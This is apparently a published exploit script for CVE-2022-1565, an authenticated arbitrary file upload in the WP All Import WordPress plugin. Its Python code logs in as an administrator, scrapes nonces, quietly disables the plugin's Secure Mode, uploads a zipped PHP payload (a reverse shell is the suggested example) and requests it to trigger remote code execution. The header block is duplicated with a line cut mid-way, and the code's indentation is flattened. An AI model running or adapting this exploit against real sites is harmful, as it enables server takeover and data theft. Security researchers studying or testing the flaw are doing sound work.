# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/05/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: # Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 11/05/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://www.wpallimport.com/
# Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)
# Version: <= 3.6.7 (tested: 3.6.7)
# Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)
# CVE: CVE-2022-1565

#!/usr/bin/python
import requests
import re
import os

# WARNING: This exploit does NOT include the payload.
# Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work.
# If a file with the same name as the payload is already on the server, the upload will OVERWRITE it
#
# Please notice that I'm NOT the researcher who found this vulnerability

# # # # # VULNERABILITY DESCRIPTION # # # # #
# The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7.
# This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible.

# # # # # HOW THE EXPLOIT WORKS # # # # #
# 1. Prepare the zip file:
# - create a PHP file with your payload (e.g. rerverse shell)
# - set the variable "payload_file_name" with the name of this file (e.g. "shell.php")
# - create a zip file with the payload
# - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip")
#
# 2. Login using an administrator account:
# - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /)
# - set the variable "admin_user" with the username of an administrator account
# - set the variable "admin_pass" with the password of an administrator account
#
# 3. Get the wpnonce using the get_wpnonce_upload_file() method
# - there are actually 2 types of wpnonce:
# - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class.
# This wpnonce allows us to change the plugin settings (check the step 4)
# - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class.
# This wpnonce allows us to upload the file
#
# 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class
# - if the Secure Mode is enabled, the zip content will be put in a folder with a random name.
# The exploit will disable the Secure Mode.
# By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url).
# The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
# - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode.
#
# 5. Upload the file using the upload_file(wpnonce_upload_file: str) method
# - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully.
# The response will contain a JSON that looks like this:
# {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"}
# As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed
#
# 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method
#
# 7. Activate the payload using the activate_payload() method
# - you can define a method to activate the payload.
# There reason behind this choice is that this exploit does NOT provide any payload.
# Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters

# # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # #
# According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page"
# I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?)
# I had to find a workaround and so I did, by exploiting this option.
# WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7

# # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # #
# In order for the exploit to work please consider the following:
# 1. check the target_url and the admin credentials
# 2. check the path of the zip file and the name of the payload (they can be different)
# 3. if you're testing locally, try to set verify_ssl_certificate on False
# 4. you can use print_response(http_response) to investigate further

# Configure the following variables:
target_url = "https://vulnerable.wp/wordpress" # Target base URL
admin_user = "admin" # Administrator username
admin_pass = "password" # Administrator password
zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip)
payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell)
verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed.

# Do NOT change the following variables
wp_login_url = target_url + "/wp-login.php" # WordPress login page
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here
re_enable_secure_mode = False
session = requests.Session()

# This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files.
class PluginSetting:
# Regular Expression patterns
pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_- ]*id="secure"[a-zA-Z0-9="_-/ ]*>'
pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_- ]*id="_wpnonce_edit-settings"[a-zA-Z0-9="_- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_-/ ]*>'
pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["']{1}([a-zA-Z0-9]+)["']{1};'
http_response: requests.Response
is_secure_mode_enabled: bool
wpnonce_edit_settings: str
wpnonce_upload_file: str

def __init__(self, http_response: requests.Response):
self.http_response = http_response
self.check_if_secure_mode_is_enabled()
self.retrieve_wpnonce_edit_settings()
self.retrieve_wpnonce_upload_file()

def check_if_secure_mode_is_enabled(self):
# To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked
# <input type="checkbox" value="1" id="secure" name="secure" checked="checked">
regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")
# print_response(self.http_response) # for debugging
exit()
self.is_secure_mode_enabled = "checked" in regex_search.group()

def retrieve_wpnonce_edit_settings(self):
# You can find this wpnonce in the source file by searching for the following input hidden:
# <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9">
# 052e2438f9 would be the wpnonce for editing the settings
regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")
# print_response(self.http_response) # for debugging
exit()

self.wpnonce_edit_settings = regex_search.group(1)

def retrieve_wpnonce_upload_file(self):
# You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b';
# dee75fdb8b would be the wpnonce for the upload
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
if not regex_search:
print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")
# print_response(self.http_response) # for debugging
exit()

self.wpnonce_upload_file = regex_search.group(1)

def wp_login():
global session
data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }

# allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found.
# Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not
print("Trying to login...")
response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)

if response.status_code == 302:
print("Logged in successfully!")
return

# print_response(response) # for debugging
print("Login failed. If the credentials are correct, try to print the response to investigate further.")
exit()

def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:
global session
if set_to_enabled:
print("Enabling secure mode...")
else:
print("Disabling secure mode...")

print("Edit settings wpnonce value: " + wpnonce)
data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)

if response.status_code == 403:
print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")
# print_response(response) # for debugging
exit()
return response

def switch_back_to_secure_mode():
global session

print("Re-enabling secure mode...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

if plugin_setting.is_secure_mode_enabled:
print("Secure mode is already enabled")
return

response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
if not new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been re-enabled")
# print_response(response) # for debugging
exit()
print("Secure mode has been re-enabled!")

def get_wpnonce_upload_file() -> str:
global session, re_enable_secure_mode
# If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload
# If Secure Mode is already disabled, it just returns the wpnonce for the upload

print("Checking if secure mode is enabled...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

if not plugin_setting.is_secure_mode_enabled:
re_enable_secure_mode = False
print("Insecure mode is already enabled!")
return plugin_setting.wpnonce_upload_file

print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)

new_plugin_setting = PluginSetting(response)

if new_plugin_setting.is_secure_mode_enabled:
print("Something went wrong: secure mode has not been disabled")
# print_response(response) # for debugging
exit()

print("Secure mode has been disabled!")
re_enable_secure_mode = True
return new_plugin_setting.wpnonce_upload_file

def upload_file(wpnonce_upload_file: str):
global session

print("Uploading file...")
print("Upload wpnonce value: " + wpnonce_upload_file)

zip_file_name = os.path.basename(zip_file_to_upload)
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}
data = { "name" : zip_file_name }
response = session.post(url=upload_url, files=files, data=data)

if response.status_code == 200:
print("Server replied with HTTP 200 OK. The upload should be completed.")
print("Payload should be here: " + payload_url)
print("If you can't find the payload at this URL, try to print the response to investigate further")
# print_response(response) # for debugging
return 1
else:
print("Something went wrong during the upload. Try to print the response to investigate further")
# print_response(response) # for debugging
return 0

def activate_payload():
global session

print("Activating payload...")
response = session.get(url=payload_url)

if response.status_code != 200:
print("Something went wrong: could not find payload at " + payload_url)
# print_response(response) # for debugging
return

def print_response(response:requests.Response):
print(response.status_code)
print(response.text)

# Entry Point
def Main():
print("Target: " + target_url)
print("Credentials: " + admin_user + ":" + admin_pass)

# Do the login
wp_login()

# Retrieve wpnonce for upload.
# It disables Secure Mode if needed, then returns the wpnonce
wpnonce_upload_file = get_wpnonce_upload_file()

# Upload the file
file_uploaded = upload_file(wpnonce_upload_file)

# Re-enable Secure Mode if needed
if re_enable_secure_mode:
switch_back_to_secure_mode()

# Activate the payload
if file_uploaded:
activate_payload()

Main()